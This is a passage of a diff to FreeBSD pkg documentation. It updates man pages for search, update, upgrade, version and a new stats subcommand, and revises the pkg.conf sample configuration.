.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
modified pkg/pkg-rquery.8
@@ -114,6 +114,22 @@ for options
for licenses
.It Cm B
for shared libraries
+
.It Cm \&%# Ns Op drCOLB
+
Returns the number of elements in the list
+
.Bl -tag -width indent
+
.It Cm d
+
for dependencies
+
.It Cm r
+
for reverse dependencies
+
.It Cm C
+
for categories
+
.It Cm O
+
for options
+
.It Cm L
+
for licenses
+
.It Cm B
+
for shared libraries
+
.El
.El
.El
.Ss Multiline patterns:
@@ -168,6 +184,11 @@ Flatsize of the package (type integer)
Automatic status of the package (type integer)
.It Cm \&%M
Message of the package (type string)
+
.It Cm \&%# Ns Op drCOLB
+
Number of elements in the list of information (type integer).
+
See
+
.Cm %?
+
above for what information is used.
.El
.Ss Operators
.Bl -tag -width F1
@@ -212,6 +233,7 @@ See
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
modified pkg/pkg-search.8
@@ -15,79 +15,362 @@
.\"     @(#)pkg.8
.\" $FreeBSD$
.\"
-
.Dd February 16, 2012
+
.Dd July 11, 2012
.Dt PKG-SEARCH 8
.Os
.Sh NAME
.Nm "pkg search"
-
.Nd searches in remote package repositories
+
.Nd search package repository catalogues
.Sh SYNOPSIS
.Nm
-
.Ar pkg-name
-
.Nm
-
.Op Fl fDsqop
-
.Ar pkg-name
+
.Op Fl egxX
+
.Op Fl r Ar repo
+
.Op Fl S Ar search
+
.Op Fl L Ar label
+
.Op Fl M Ar mod
+
.Ar pattern
.Nm
-
.Op Fl gexXcdfDsqop
+
.Op Fl cDdefgopqXx
+
.Op Fl r Ar repo
.Ar pattern
.Sh DESCRIPTION
.Nm
-
is used for searching in the remote package repositories
-
and it displays the requested information for the matching
-
packages.
+
is used for searching package repository catalogues.
+
Packages available for installation can be matched by name, by name
+
and version, by origin or by text in the package comments or package
+
descriptions.
+
The output defaults to displaying the field matched by the search
+
term, but any of the searchable fields may be displayed.
+
The output may be modified to additionally show many other package
+
data available from the repository catalogues.
.Pp
-
.Nm
-
will search for the given pattern in the remote package
-
repositories, which are defined in the
-
.Xr pkg.conf 5
-
file.
+
It is recommended to update the local copies of the repository
+
catalogues before running
+
.Nm .
+
See
+
.Xr pkg-update 8 .
+
Package repositories are defined in the
+
.Fa pkg.conf
+
file; see
+
.Xr pkg.conf 5.
.Sh OPTIONS
The following options are supported by
.Nm :
.Bl -tag -width F1
+
.It Fl c
+
Search for packages with comment text matching
+
.Ar pattern .
+
Equivalent to
+
.Fl "S comment" .
+
.It Fl D
+
Search for packages with description text matching
+
.Ar pattern .
+
Equivalent to
+
.Fl "S description" .
+
.It Fl d
+
Display the list of packages depended on by each matched package.
+
Equivalent to
+
.Fl "M depends-on" .
.It Fl e
-
Treat
.Ar pattern
-
as exact pattern
+
should be an exact match against the search field.
+
.It Fl f
+
Show ``full'' information about the package.
+
Equivalent to
+
.Fl "M full" .
.It Fl g
Treat
.Ar pattern
-
as a shell glob pattern.
-
.It Fl x
-
Treat
-
.Ar pattern
-
as a regular expression.
+
as a shell globbing expression.
+
The glob pattern must match the entire field being seached.
+
.It Fl L Ar label
+
Select which identifying label is printed for each matched package,
+
unless
+
.Fl q
+
is used.
+
Several different fields from the repository catalogue database may be
+
used to search on, or to generate the label, as indicated by the
+
.Ar label
+
argument.
+
See the
+
.Qq Sx Search and Label Options
+
section for details.
+
If unspecified,
+
.Ar label
+
is set to the same as the value searched via the
+
.Fl S Ar search
+
option.
+
.It Fl M Ar mod
+
Modify the output by adding an additional field to the result.
+
Multiple fields can be added by using additional
+
.Fl M Ar mod
+
flags.
+
See the
+
.Qq Sx Output Modifier Options
+
section for details.
+
.It Fl o
+
List packages by origin for each package matching
+
.Ar pattern .
+
Equivalent to
+
.Fl "L origin" .
+
.It Fl p
+
Display the package installation prefix for each matched package.
+
Equivalent to
+
.Fl "M prefix" .
+
.It Fl q
+
Be ``quiet''.
+
Produce less output.
+
In particular do not show an identifying label field for each package.
+
.It Fl r Ar repo
+
In multi-repo mode, select only the repository catalogue from
+
.Sy repo
+
to search.
+
By default all known repository catalogues are searched.
+
.It Fl S Ar search
+
Specify the field to search the repository catalogue on.
+
If unspecified, searches on
+
.Ar pkg-name
+
unless the search term contains a
+
.Sy /
+
character, when it searches on port
+
.Ar origin .
+
Output will be sorted in order of the
+
.Ar search
+
field.
+
See the
+
.Qq Sx Search and Label Options
+
sections for more details.
+
.It Fl s
+
Display the installed size of matched packages.
+
Equivalent to
+
.Fl "M size" .
.It Fl X
Treat
.Ar pattern
as an extended regular expression.
-
.It Fl c
-
Search for
-
.Ar pattern
-
in the package comment one-line description.
-
.It Fl d
-
Search for
-
.Ar pattern
-
in the package desription.
-
.It Fl f
-
Displays full information about the matching packages.
-
.It Fl D
-
Displays the dependencies of
-
.Ar pattern
-
.It Fl s
-
Displays the size of the package
-
.It Fl q
-
Be ``quiet''.
-
Prints only the requested information without
-
displaying many hints.
-
.It Fl o
-
Displays
+
Matches any substring of the search field unless explicit beginning
+
or ending anchor terms are used.
+
.It Fl x
+
Treat
.Ar pattern
-
origin.
-
.It Fl p
-
Displays the installation prefix for each package matching
+
as a regular expression.
+
This is the default.
+
Matches any substring of the search field unless explicit beginning
+
or ending anchor terms are used.
+
.El
+
.Ss Search and Label Options
+
The following database fields (or composites of several fields) can
+
be used both for searching for a match to the given
.Ar pattern
+
and as identifying labels for the block of output for each package.
+
.Bl -tag -width 2n
+
.It Sy comment
+
The one line comment field describing the port, derived from the
+
.Cm COMMENT
+
variable in the port's
+
.Fa Makefile .
+
When chosen as a label option, the output format will additionally
+
include the packge name, equivalent to
+
.Fl "L pkg-name"
+
.Fl "M comment" .
+
When chosen as a search option, only the
+
.Sy comment
+
field is used for sorting the output.
+
.It Sy description
+
The multi-line package description from the
+
.Fa pkg-descr
+
file in the port.
+
This does include the
+
.Cm WWW
+
URL reference, if any, from that file.
+
When chosen as a label option, the output format will additionally
+
include the package name, equivalent to
+
.Fl "L pkg-name"
+
.Fl "M description" .
+
When chosen as a search option, only the
+
.Sy description
+
field is used for sorting the output.
+
.It Sy name
+
The name of the package, derived from the
+
.Cm PORTNAME
+
variable in the port's
+
.Fa Makefile .
+
.It Sy origin
+
The port origin, in the format
+
.Fa category/port ,
+
that the package was compiled from.
+
.It Sy pkg-name
+
The package name in the format
+
.Sy name Ns - Ns Cm version .
+
The same as the
+
.Cm PKGNAME
+
variable in the port's
+
.Fa Makefile .
.El
+
.Pp
+
Any unambiguous prefix of the label name may be used on the command line.
+
Thus
+
.Fl "Sd" ,
+
.Fl "S descr"
+
and
+
.Fl "S description"
+
are all equivalent.
+
.Ss Output Modifier Options
+
Additional data from the repository catalogue to print for each matched
+
package.
+
Multiple output modifiers can be combined.
+
Where more than one output field is required, either because multiple
+
.Fl M Ar mod
+
options were given, or one or more
+
.Fl M Ar mod
+
option was combined with the
+
.Fl "L comment"
+
or
+
.Fl "L description"
+
options, then each output field will be tagged with the field name.
+
.Bl -tag -width 2n
+
.It Sy arch
+
The architecture string indicating what OS version and CPU architecture
+
the package is suitable for.
+
For example,
+
.Ar freebsd:9:x86:64
+
indicates a package suitable for FreeBSD 9.x running on an amd64 processor,
+
while
+
.Ar freebsd:*
+
indicates an architecture independent package suitable for any version of
+
FreeBSD.
+
.It Sy categories
+
All categories, real and virtual, the underlying package belongs to,
+
derived from the
+
.Cm CATEGORIES
+
variable in the port's
+
.Fa Makefile .
+
.It Sy comment
+
The one line comment field describing the port, derived from the
+
.Cm COMMENT
+
variable in the port's
+
.Fa Makefile .
+
.It Sy depends-on
+
The list of packages the named package depends on.
+
Dependency packages are listed in the format
+
.Sy name Ns - Ns Cm version
+
one per line.
+
If the port has no dependencies, nothing will be output for
+
this field, including suppressing the tag name when multiple
+
output fields are requested.
+
.It Sy description
+
The multi-line package description from the
+
.Fa pkg-descr
+
file in the port.
+
This does include the
+
.Cm WWW
+
URL reference, if any, from that file.
+
.It Sy full
+
Show a standard set of fields, equivalent to a combination of the
+
.Sy name ,
+
.Sy version ,
+
.Sy origin ,
+
.Sy prefix ,
+
.Sy repository ,
+
.Sy categories ,
+
.Sy license ,
+
.Sy maintainer ,
+
.Sy www ,
+
.Sy comment ,
+
.Sy options ,
+
.Sy shared-libs ,
+
.Sy size ,
+
.Sy pkg-size
+
and
+
.Sy descr
+
fields, in that order.
+
.It Sy licenses
+
Displays a list of all the licenses the package is relesed under on a
+
single line.
+
Where more than one license applies, indicate if the terms of all
+
licenses should apply
+
.Sy (&)
+
or if one or more licenses may be selected out of those available
+
.Sy (|) .
+
.It Sy maintainer
+
Display the maintainer's e-mail address.
+
.It Sy name
+
Display the port name, which is derived from the
+
.Cm PORTNAME
+
variable in the port's
+
.Fa Makefile .
+
.It Sy options
+
Displays a list of the port options and their state (
+
.Sy on
+
or
+
.Sy off )
+
when the package was built.
+
If the package does not have any options to set, nothing will be
+
output for this field, including suppressing the tag name when
+
multiple output fields are requested.
+
.It Sy pkg-size
+
Display the size of the compressed package tarball, i.e. how much would
+
need to be downloaded from the repository.
+
.It Sy prefix
+
Display the installation prefix for the package, usually
+
.Fa /usr/local .
+
.It Sy repository
+
Displays the repository label and the corresponding base Url for the
+
repository.
+
In multi-repo mode, the repository label and URL are one of the pairs
+
defined in
+
.Fa pkg.conf .
+
In normal mode the label is always ``remote'', and the URL is the
+
value of
+
.Cm PACKAGESITE .
+
.It Sy required-by
+
Displays all of the packages in the repository that require the named
+
package as a dependency.
+
Dependency packages are listed in the format
+
.Sy name Ns - Ns Cm version
+
one per line.
+
If the no other packages require the named package, nothing will be
+
output for this field, including suppressing the tag name when
+
multiple output fields are requested.
+
.It Sy shared-libs
+
If the package contains dynamically linked FreeBSD ELF binaries,
+
display a list of all of the shared libraries other than those from
+
the base system required for those binaries to run.
+
Shared libraries for foreign (e.g. Linux) binaries run
+
under emulation will not be displayed.
+
If the package does not require any shared libraries, nothing will be
+
output for this field including suppressing the tag name when multiple
+
fields are requested.
+
.It Sy size
+
Display the total amount of filesystem space the package files will
+
take up once unpacked and installed.
+
.It Sy url
+
Display the URL that would be used to download the package from the
+
repository.
+
.It Sy www
+
Display the general URL, if any, for the project developing the
+
software used in the package.
+
This is extracted from the
+
.Fa pkg-descr
+
file in the port.
+
.El
+
.Pp
+
Any unambiguous prefix of the modifier name may be used on the command
+
line.
+
Thus
+
.Fl "Mm" ,
+
.Fl "M maint"
+
and
+
.Fl "M maintainer"
+
are all equivalent,
+
but you need to use at least
+
.Fl "M si"
+
and
+
.Fl "M sh"
+
to distinguish
+
.Cm size
+
from
+
.Cm shared-libs .
.Sh ENVIRONMENT
The following environment variables affect the execution of
.Nm .
@@ -96,6 +379,7 @@ See
for further description.
.Bl -tag -width ".Ev NO_DESCRIPTIONS"
.It Ev PACKAGESITE
+
.It Ev PKG_DBDIR
.It Ev PKG_MULTIREPOS
.El
.Sh FILES
@@ -121,6 +405,7 @@ See
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
modified pkg/pkg-set.8
@@ -75,6 +75,7 @@ See
.Xr pkg-search 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
modified pkg/pkg-shell.8
@@ -40,7 +40,6 @@ for further description.
See
.Xr pkg.conf 5 .
.Sh SEE ALSO
-
.Xr pkg-set 8 ,
.Xr pkg 8 ,
.Xr pkg-add 8 ,
.Xr pkg-audit 8 ,
@@ -60,6 +59,7 @@ See
.Xr pkg-search 8 ,
.Xr pkg-set 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
modified pkg/pkg-shlib.8
@@ -33,11 +33,6 @@ Only exact matches are handled.
.Nm
is used for displaying the packages that link to
.Ar <library>
-
.Sh OPTIONS
-
The following commands are supported by
-
.Nm :
-
.Bl -tag -width F1
-
.El
.Sh ENVIRONMENT
The following environment variables affect the execution of
.Nm .
@@ -70,6 +65,7 @@ See
.Xr pkg-search 8 ,
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
added pkg/pkg-stats.8
@@ -0,0 +1,77 @@
+
.\"
+
.\" FreeBSD pkg - a next generation package for the installation and maintenance
+
.\" of non-core utilities.
+
.\"
+
.\" Redistribution and use in source and binary forms, with or without
+
.\" modification, are permitted provided that the following conditions
+
.\" are met:
+
.\" 1. Redistributions of source code must retain the above copyright
+
.\"    notice, this list of conditions and the following disclaimer.
+
.\" 2. Redistributions in binary form must reproduce the above copyright
+
.\"    notice, this list of conditions and the following disclaimer in the
+
.\"    documentation and/or other materials provided with the distribution.
+
.\"
+
.\"
+
.\"     @(#)pkg.8
+
.\" $FreeBSD$
+
.\"
+
.Dd July 6, 2012
+
.Dt PKG-STATS 8
+
.Os
+
.Sh NAME
+
.Nm "pkg stats"
+
.Nd package database statistics
+
.Sh SYNOPSIS
+
.Nm
+
.Op Fl qlr
+
.Sh DESCRIPTION
+
.Nm
+
is used to display different statistics about the package databases.
+
.Sh OPTIONS
+
The following options are supported by
+
.Nm :
+
.Bl -tag -width F1
+
.It Fl q
+
Quiet mode.
+
Show less output.
+
.It Fl l
+
Display stats only for the local package database.
+
.It Fl r
+
Display stats only for the remote package database(s).
+
.El
+
.Sh ENVIRONMENT
+
The following environment variables affect the execution of
+
.Nm .
+
See
+
.Xr pkg.conf 5
+
for further description.
+
.Sh FILES
+
See
+
.Xr pkg.conf 5 .
+
.Sh SEE ALSO
+
.Xr pkg 8 ,
+
.Xr pkg-add 8 ,
+
.Xr pkg-audit 8 ,
+
.Xr pkg-autoremove 8 ,
+
.Xr pkg-backup 8 ,
+
.Xr pkg-check 8 ,
+
.Xr pkg-clean 8 ,
+
.Xr pkg-create 8 ,
+
.Xr pkg-delete 8 ,
+
.Xr pkg-fetch 8 ,
+
.Xr pkg-info 8 ,
+
.Xr pkg-install 8 ,
+
.Xr pkg-query 8 ,
+
.Xr pkg-register 8 ,
+
.Xr pkg-repo 8 ,
+
.Xr pkg-rquery 8 ,
+
.Xr pkg-search 8 ,
+
.Xr pkg-set 8 ,
+
.Xr pkg-shell 8 ,
+
.Xr pkg-shlib 8 ,
+
.Xr pkg-update 8 ,
+
.Xr pkg-updating 8 ,
+
.Xr pkg-upgrade 8 ,
+
.Xr pkg-version 8 ,
+
.Xr pkg-which 8 ,
+
.Xr pkg.conf 5
modified pkg/pkg-update.8
@@ -20,28 +20,33 @@
.Os
.Sh NAME
.Nm "pkg update"
-
.Nd updates remote package repository databases
+
.Nd updates the local copy of a repository catalogue from the remote package
+
repository
.Sh SYNOPSIS
.Nm
-
.Op Fl q
+
.Op Fl fq
.Sh DESCRIPTION
.Nm
-
is used for updating from remote package repository databases.
+
is used for updating the local copy of a repository catalogue from the remote
+
package repository database.
+
Updates to catalogues are normally downloaded
+
only when the master copy on the remote package repository is newer than the
+
local copy.
.Pp
-
The remote repository databases to be updated are defined in the
+
The repository catalogues to be updated are defined in the
.Xr pkg.conf 5
file.
.Pp
-
It is always a good idea to update your remote package
-
repositories before doing a remote install via
+
It is always a good idea to update your package repository catalogues
+
before doing a remote install via
.Xr pkg-install 8
or upgrades via
.Xr pkg-upgrade 8 .
.Pp
.Ss Signed repositories
-
If the repository is signed and
+
If the repository catalogue is signed and
.Ev PUBKEY
-
is defined, it will be verified after being downloaded.
+
is defined, the signature will be verified after download.
See
.Xr pkg.conf 5
for more information.
@@ -51,6 +56,9 @@ The following options are supported by
.Bl -tag -width F1
.It Fl q
Force quiet output
+
.It Fl f
+
Force a full download of the repository catalogue without regard to the
+
respective ages of the local and remote copies of the catalogue
.El
.Sh ENVIRONMENT
The following environment variables affect the execution of
@@ -88,6 +96,7 @@ See
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
.Xr pkg-version 8 ,
modified pkg/pkg-updating.8
@@ -55,6 +55,9 @@ The following environment variables affect the execution of
.It Ev PORTSDIR
Location of the ports tree.
.El
+
.Sh FILES
+
See
+
.Xr pkg.conf 5 .
.Sh EXAMPLES
Shows all entries of all installed ports:
.Dl % pkg updating
@@ -71,11 +74,7 @@ Shows all apache entries since 2012-01-01:
Defines that the UPDATING file is in /tmp and shows all entries of all
installed ports:
.Dl % pkg updating -f /tmp/UPDATING
-
.Sh FILES
-
See
-
.Xr pkg.conf 5 .
.Sh SEE ALSO
-
.Xr pkg-set 8,
.Xr pkg 8 ,
.Xr pkg-add 8 ,
.Xr pkg-audit 8 ,
@@ -96,6 +95,7 @@ See
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-upgrade 8 ,
.Xr pkg-version 8 ,
modified pkg/pkg-upgrade.8
@@ -23,20 +23,26 @@
.Nd performs upgrades of package software distributions
.Sh SYNOPSIS
.Nm
-
.Op Fl yfqL
+
.Op Fl fLnqy
+
.Op Fl r Ar reponame
.Sh DESCRIPTION
.Nm
is used for upgrading of package software distributions.
.Pp
-
Currently only one remote package repository database can be
-
used during package upgrades as defined by the environment variable
-
.Ev PACKAGESITE .
+
Currently only one package repository can be used during package
+
upgrades.
+
This is either as defined by the environment variable
+
.Ev PACKAGESITE ,
+
or when in multi-repos mode, either the default repository or the
+
argument to the
+
.Fl r
+
option.
.Pp
Soon enough
.Nm
will be able to perform package upgrades from multiple repositories.
.Pp
-
The remote repository will automatically be updated using
+
Repository catalogues will automatically be updated using
.Xr pkg-update 8 .
This can be disabled with the
.Fl L
@@ -45,16 +51,26 @@ flag.
The following options are supported by
.Nm :
.Bl -tag -width F1
-
.It Fl y
-
Assume yes when asked for confirmation before package installation.
.It Fl f
Force reinstalling/upgrading the whole set of packages
-
.It Fl q
-
Force quiet output
.It Fl L
-
Don't auto update the remote database with
+
Skip updating the repository catalogues with
.Xr pkg-update 8 .
Use the local cache only.
+
.It Fl n
+
Dry-run mode: show what packages have updates available, but do not perform
+
any upgrades.
+
Repository catalogues will be updated as usual unless the
+
.Fl L
+
option is also given.
+
.It Fl q
+
Force quiet output, except when
+
.Fl n
+
is used, where
+
.Nm
+
will always print out the list of packages with available updates.
+
.It Fl y
+
Assume yes when asked for confirmation before package installation.
.El
.Sh ENVIRONMENT
The following environment variables affect the execution of
@@ -94,6 +110,7 @@ See
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-version 8 ,
modified pkg/pkg-version.8
@@ -15,7 +15,7 @@
.\"     @(#)pkg.8
.\" $FreeBSD$
.\"
-
.Dd April 11, 2012
+
.Dd August 14, 2012
.Dt PKG-VERSION 8
.Os
.Sh NAME
@@ -23,14 +23,16 @@
.Nd summarize installed versions of packages
.Sh SYNOPSIS
.Nm
-
.Op Fl hIoqv
+
.Op Fl IPR
+
.Op Fl hoqv
.Op Fl l Ar limchar
.Op Fl L Ar limchar
.Op Fl Xxge Ar pattern
+
.Op Fl r Ar reponame
.Op Fl O Ar origin
.Op Ar index
.Nm
-
.Fl t Ar version1
+
.Fl t Ar version1 Ar version2
.Nm
.Fl T Ar <pkgname> Ar <pattern>
.Sh DESCRIPTION
@@ -38,7 +40,34 @@
is used for generating a report of packages installed by
.Xr pkg 8 .
.Pp
-
< To be completed >
+
By default, if a ports tree exists it is used to compare versions.
+
If it does not exist, the remote repository catalogue is used.
+
These defaults can be overridden by specifying one of
+
.Fl P ,
+
.Fl R
+
or
+
.Fl I .
+
.Pp
+
When comparing package versions the package name and a comparison character are printed:
+
.Bl -tag -width indent
+
.It Li =
+
The installed version of the package is current.
+
.It Li \&<
+
The installed version of the package is older than the current version.
+
.It Li \&>
+
The installed version of the package is newer than the current version.
+
This situation can arise with an out-of-date index file, or when
+
testing new ports.
+
.It Li \&?
+
The installed package does not appear in the index.
+
This could be due to an out of date index or a package taken from a PR
+
that has not yet been committed.
+
.It Li \&!
+
The installed package exists in the index but for some reason,
+
.Nm
+
was unable to compare the version number of the installed package
+
with the corresponding entry in the index.
+
.El
.Sh OPTIONS
The following options are supported by
.Nm :
@@ -46,7 +75,21 @@ The following options are supported by
.It Fl h
Displays usage information
.It Fl I
-
Use INDEX file for determining if a package is out of date
+
Use INDEX file for determining if a package is out of date.
+
.It Fl P
+
Use ports for determining if a package is out of date.
+
This is the default if a ports tree exists.
+
The tree used can be overridden by PORTSDIR, see
+
.Xr pkg 5
+
for more information.
+
.It Fl R
+
Use repository catalogue for determining if a package is out of date.
+
This is the default if no ports tree exists.
+
.It Fl r Ar reponame
+
Use the given
+
.Ar reponame
+
for comparison when using
+
.Fl R
.It Fl o
Display package origin, instead of package name.
.It Fl q
@@ -76,7 +119,15 @@ Only display the packages that exactly match the string.
Display only the packages which origin matches
.Ar origin
.It Fl t Ar <version1> Ar <version2>
-
< To be added >
+
Test a pair of version number strings and exit.
+
The output consists of one of the single characters
+
.Li =
+
(equal),
+
.Li \&<
+
(right-hand number greater), or
+
.Li \&>
+
(left-hand number greater) on standard output.
+
This flag is mostly useful for scripts or for testing.
.It Fl T Ar <pkgname> Ar <pattern>
Compare
.Ar <pkgname>
@@ -100,6 +151,27 @@ for further description.
.Sh FILES
See
.Xr pkg.conf 5 .
+
.Sh EXAMPLES
+
The following is a typical invocation of the
+
.Nm
+
command, which checks the installed packages against the local ports
+
index file:
+
.Pp
+
.Dl % pkg version -v
+
.Pp
+
The command below generates a report against the versions in the repository catalogue:
+
.Pp
+
.Dl % pkg update
+
.Dl % pkg version -vR
+
.Pp
+
The following lists packages needing upgrade, compared to the repository catalogue:
+
.Pp
+
.Dl % pkg update
+
.Dl % pkg version -vRL=
+
.Pp
+
The following command compares two package version strings:
+
.Pp
+
.Dl % pkg version -t 1.5 1.5.1
.Sh SEE ALSO
.Xr pkg 8 ,
.Xr pkg-add 8 ,
@@ -118,9 +190,10 @@ See
.Xr pkg-repo 8 ,
.Xr pkg-rquery 8 ,
.Xr pkg-search 8 ,
-
.Xr pkg-set 8,
+
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
modified pkg/pkg-which.8
@@ -71,6 +71,7 @@ See
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
modified pkg/pkg.8
@@ -20,7 +20,8 @@
.Os
.\" ---------------------------------------------------------------------------
.Sh NAME
-
.Nm pkg
+
.Nm pkg ,
+
.Nm pkg-static
.Nd a utility for manipulating packages
.\" ---------------------------------------------------------------------------
.Sh SYNOPSIS
@@ -33,6 +34,15 @@
.Sh DESCRIPTION
provides an interface for manupulating packages - registering,
adding, removing and upgrading of packages.
+
.Nm pkg-static
+
is a statically linked variant of
+
.Nm
+
typically only used for the initial installation of
+
.Nm .
+
There are some differences in functionality.
+
See
+
.Xr pkg.conf 5
+
for details.
.\" ---------------------------------------------------------------------------
.Sh OPTIONS
The following options are supported by
@@ -101,18 +111,14 @@ Display information about installed packages.
Install a package from a remote package repository.
If a package is found in more than one remote repository,
then installation happens from the first one.
-
If a package
-
fails to fetch from the remote repository, the next one in
-
the list is tried, until the package is fetched.
+
Downloading a package is tried from each package repository in turn,
+
until the package is successfully fetched.
.It Ic query
Query information about installed packages.
.It Ic register
Register a package in the database.
.It Ic repo
Create a local package repository for remote usage.
-
.It Ic shell
-
Fires up a sqlite shell to the local or remote database.
-
Extreme care should be taken when using this command.
.It Ic rquery
Query information for remote repositories.
.It Ic search
@@ -120,8 +126,13 @@ Search for the given pattern in the remote package
repositories.
.It Ic set
Modify information in the installed database.
+
.It Ic shell
+
Fires up a sqlite shell to the local or remote database.
+
Extreme care should be taken when using this command.
.It Ic shlib
Displays which packages link to a specific shared library.
+
.It Ic stats
+
Display package database statistics.
.It Ic update
Update the available remote repositories as listed in
.Xr pkg.conf 5 .
@@ -166,6 +177,7 @@ See
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
@@ -186,6 +198,7 @@ command first appeared in
.An Will Andrews Aq will@FreeBSD.org
.An Marin Atanasov Nikolov Aq dnaeon@gmail.com
.An Bryan Drewery Aq bryan@shatow.net
+
.An Matthew Seaman Aq matthew@FreeBSD.org
.\" ---------------------------------------------------------------------------
.Sh BUGS
See the issue tracker at
modified pkg/pkg.conf.5
@@ -15,7 +15,7 @@
.\"     @(#)pkg.1
.\" $FreeBSD$
.\"
-
.Dd June 2, 2012
+
.Dd August 29, 2012
.Dt PKG.CONF 5
.Os
.Sh NAME
@@ -46,7 +46,6 @@ specified in the configuration file -
.Fa YES, TRUE
and
.Fa ON.
-
.Pp
.Sh OPTIONS
The following options can be defined in
.Nm :
@@ -76,6 +75,14 @@ By default this option is disabled.
.It Cm PACKAGESITE: string
Specifies the remote location to use
when fetching the database file and packages.
+
This supports using
+
.Sy ${ABI}
+
to create a dynamic URL based on the ABI being used.
+
.It Cm SRV_MIRRORS: boolean
+
Specifies whether to check the
+
.Sy PACKAGESITE
+
for SRV record support for mirroring.
+
By default this option is enabled.
.It Cm PKG_CACHEDIR: string
Specifies the cache directory for packages.
The default value
@@ -104,13 +111,37 @@ This option is enabled by default, log all the
installation/deinstallation/upgrade operation via syslog(3)
.It Cm SHLIBS: boolean
Analyse elf and track all shared libraries needed by the packages.
+
This option is silently ignored by
+
.Xr pkg-static 8
+
since it relies on
+
.Xr dlopen 3
+
which is unavailable to statically linked programs.
default: off
.It Cm AUTODEPS: boolean
Analyse the elf to add dependencies (shared libraries) that may have been
forgotten by the maintainer.
+
This option is silently ignored by
+
.Xr pkg-static 8
+
since it relies on
+
.Xr dlopen 3
+
which is unavailable to statically linked programs.
default: off
.It Cm ABI: string
the abi of the package you want to install, by default the /bin/sh abi is used
+
.It Cm DEVELOPER_MODE: boolean
+
Makes certain errors immediately fatal.
+
Adds various warnings and
+
suggestions to the output of
+
.Xr pkg 1
+
as an aide to port maintainers, including indicating when the port
+
might be marked as architecture independent.
+
default: off
+
.It Cm PORTAUDIT_SITE: string
+
Specifies the remote location to use
+
when fetching the portaudit database.
+
See
+
.Xr pkg-audit 8
+
for more information.
.El
.Sh ENVIRONMENT
An environment variable with the same name as the option in the configuration
@@ -136,6 +167,7 @@ file always overrides the value of an option set in the file.
.Xr pkg-set 8 ,
.Xr pkg-shell 8 ,
.Xr pkg-shlib 8 ,
+
.Xr pkg-stats 8 ,
.Xr pkg-update 8 ,
.Xr pkg-updating 8 ,
.Xr pkg-upgrade 8 ,
modified pkg/pkg.conf.sample
@@ -1,23 +1,27 @@
# System-wide configuration file for pkg(1)
-
# For more information on the file format and 
+
# For more information on the file format and
# options please refer to the pkg.conf(5) man page

# Configuration options
-
PACKAGESITE	    : ftp://ftp.freebsd.org/pub/pkgng
-
PKG_DBDIR	    : /var/db/pkg
-
PKG_CACHEDIR	    : /var/cache/pkg
-
PORTSDIR	    : /usr/ports
-
PUBKEY		    : /etc/ssl/pkg.conf
-
HANDLE_RC_SCRIPTS   : NO
-
PKG_MULTIREPOS	    : NO
-
ASSUME_ALWAYS_YES   : NO
-
SYSLOG		    : YES
-
SHLIBS		    : NO
-
AUTODEPS	    : NO
+
PACKAGESITE	    : http://pkg.freebsd.org/${ABI}/latest
+
#PKG_DBDIR	    : /var/db/pkg
+
#PKG_CACHEDIR	    : /var/cache/pkg
+
#PORTSDIR	    : /usr/ports
+
#PUBKEY		    : /etc/ssl/pkg.conf
+
#HANDLE_RC_SCRIPTS   : NO
+
#PKG_MULTIREPOS	    : NO
+
#ASSUME_ALWAYS_YES   : NO
+
#SYSLOG		    : YES
+
#SHLIBS		    : NO
+
#AUTODEPS	    : NO
+
#PORTAUDIT_SITE	    : http://portaudit.FreeBSD.org/auditfile.tbz
+
PKG_PLUGINS_DIR	    : /usr/local/etc/pkg/plugins
+
PKG_ENABLE_PLUGINS  : NO
+
PKG_PLUGINS_SUMMARY : NO

# Repository definitions
-
repos:
-
  default : http://example.org/pkgng/
-
  repo1 : http://somewhere.org/pkgng/repo1/
-
  repo2 : http://somewhere.org/pkgng/repo2/
+
#repos:
+
#  default : http://example.org/pkgng/
+
#  repo1 : http://somewhere.org/pkgng/repo1/
+
#  repo2 : http://somewhere.org/pkgng/repo2/

modified pkg/pkgcli.h
@@ -70,6 +70,10 @@ void usage_info(void);
int exec_install(int, char **);
void usage_install(void);

+
/* pkg plugins */
+
int exec_plugins(int, char **);
+
void usage_plugins(void);
+

/* pkg query */
int exec_query(int, char **);
void usage_query(void);
@@ -99,10 +103,17 @@ int exec_shlib(int, char **);
